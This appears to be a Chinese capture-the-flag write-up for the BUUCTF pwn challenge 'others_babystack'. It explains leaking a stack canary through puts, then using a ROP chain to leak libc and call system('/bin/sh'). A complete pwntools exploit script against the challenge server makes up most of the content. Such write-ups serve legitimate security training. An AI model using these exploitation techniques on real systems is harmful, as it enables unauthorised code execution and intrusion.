others_babystack
一道泄露canary+rop常规的题。
这道题让我学习到了,原来canary的最后一位是\x00,又因为是小端存储,所以在内存中我位置是在开头的。
来,下载文件检查一下保护。
开启了canary和nx保护,ida看一眼伪c代码。
一个菜单类型的题,大概就是1是存储数据,2是输出数据,3是退出。puts函数输出是遇到\x00才停止输出,那么我们如果能够把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。接下来就是rop的常规操作了。这里我还犹豫泄露libc版本的时候需要返回跳到main函数,需不需要再泄露一次canary,后来发现canary的值没有变,这样我们就不用再费事了。贴一下exp啦!
1 from pwn import *
2 import time
3
4 #p = process('./babystack')
5 p = remote('node3.buuoj.cn',27237)
6 elf = ELF('./babystack')
7 context.log_level = 'debug'
8
9 p.sendlineafter('> ','1')
10 p.sendline('a'*0x88)
11 p.sendlineafter('> ','2')
12 p.recvuntil('aaaa\n')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->' + hex(canary)
15 #leak canary
16
17 pop_rdi = 0x0400a93
18 puts_plt = elf.plt['puts']
19 puts_got = elf.got['puts']
20 main_addr = 0x0400908
21 p.sendlineafter('> ','1')
22 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
23 p.sendline(payload)
24 p.recv()
25 p.sendlineafter('> ','3')
26 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
27 print 'puts_addr-->' + hex(puts_addr)
28 #leak libc
29
30 sleep(1)
31 base_addr = puts_addr - 0x06f690
32 system_addr= base_addr + 0x045390
33 binsh_addr = base_addr + 0x18cd57
34 p.sendline('1')
35 payload = 'a'*0x88 + p64(canary) + 'bbbbbbbb' + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
36 p.sendline(payload)
37 sleep(1)
38 p.sendlineafter('> ','3')
39 p.interactive()
40 p.close()
41 #getshell
others_babystack的更多相关文章
- [BUUCTF]PWN——others_babystack
others_babystack 附件 步骤: 例行检查,64位程序,开了挺多保护 本地试运行一下程序 64位ida载入,看main函数 1是read函数,存在栈溢出:2是puts函数,3退出 利用思 ...
随机推荐
- [cf1361E]James and the Chase
称一个点是"好点",当且仅当其到其余所有点恰存在一条简单路径 结论1:$x$为好点当且仅当以$x$为根的dfs树包含所有点且非树边均为返祖边 若不包含所有点,那么$x$到不被包含的 ...
- [hdu5245]Joyful
很难考虑矩形覆盖的问题,但可以考虑每一个点被覆盖的概率/期望(把矩形分成九部分后容斥即可),sigma起来即答案 1 #include<bits/stdc++.h> 2 using nam ...
- 【NetWork】-- 网络原理
2019-07-18 21:00:25 by冲冲 1. 网络拓扑 把网络中的计算机和通信设备抽象为一个点,把传输介质抽象为一条线,由点和线组成的几何图形就是计算机网络的拓扑结构(Network T ...
- 洛谷 P7451 - [THUSCH2017] 杜老师(线性基+根分+结论题)
题面传送门 看到乘积为平方数我们可以很自然地想到这道题,具体来说,我们对 \(1\sim 10^7\) 中所有质因子标号 \(1,2,\cdots,\pi(10^7)\),对于 \(x\in[l,r] ...
- 洛谷 P3580 - [POI2014]ZAL-Freight(单调队列优化 dp)
洛谷题面传送门 考虑一个平凡的 DP:我们设 \(dp_i\) 表示前 \(i\) 辆车一来一回所需的最小时间. 注意到我们每次肯定会让某一段连续的火车一趟过去又一趟回来,故转移可以枚举上一段结束位置 ...
- Codeforces 453E - Little Pony and Lord Tirek(二维线段树+ODT)
Codeforces 题目传送门 & 洛谷题目传送门 一道难度 *3100 的 DS,而且被我自己搞出来了! 不过我终究还是技不如人,因为这是一个 \(n\log^2n\) + 大常数的辣鸡做 ...
- 【豆科基因组】大豆适应性位点GWAS分析 [转载]
目录 材料与方法 结果分析 本文利用99085个高质量SNP 通过STRUCTURE,PCA和neighbour-joining tree的群体结构分析将地方品种分为三个亚群,这些亚群表现出地理上的遗 ...
- 【Linux】非root安装Python3及其包管理
1. Python 3.8.1安装 源码安装常规操作: wget -c https://www.python.org/ftp/python/3.8.1/Python-3.8.1.tgz tar -xv ...
- Perl字符串处理函数用法集锦
Perl字符串处理函数 0.函数名 index 调用语法position=index(string,substring,position); 解说返回子串substring在字符串string中的位置 ...
- 学习java 7.11
学习内容: 泛型定义格式:<类型> 优点:把运行时期的问题提前到编译期间:避免了强制类型转换 泛型方法:public class Fanxing { public <T> ...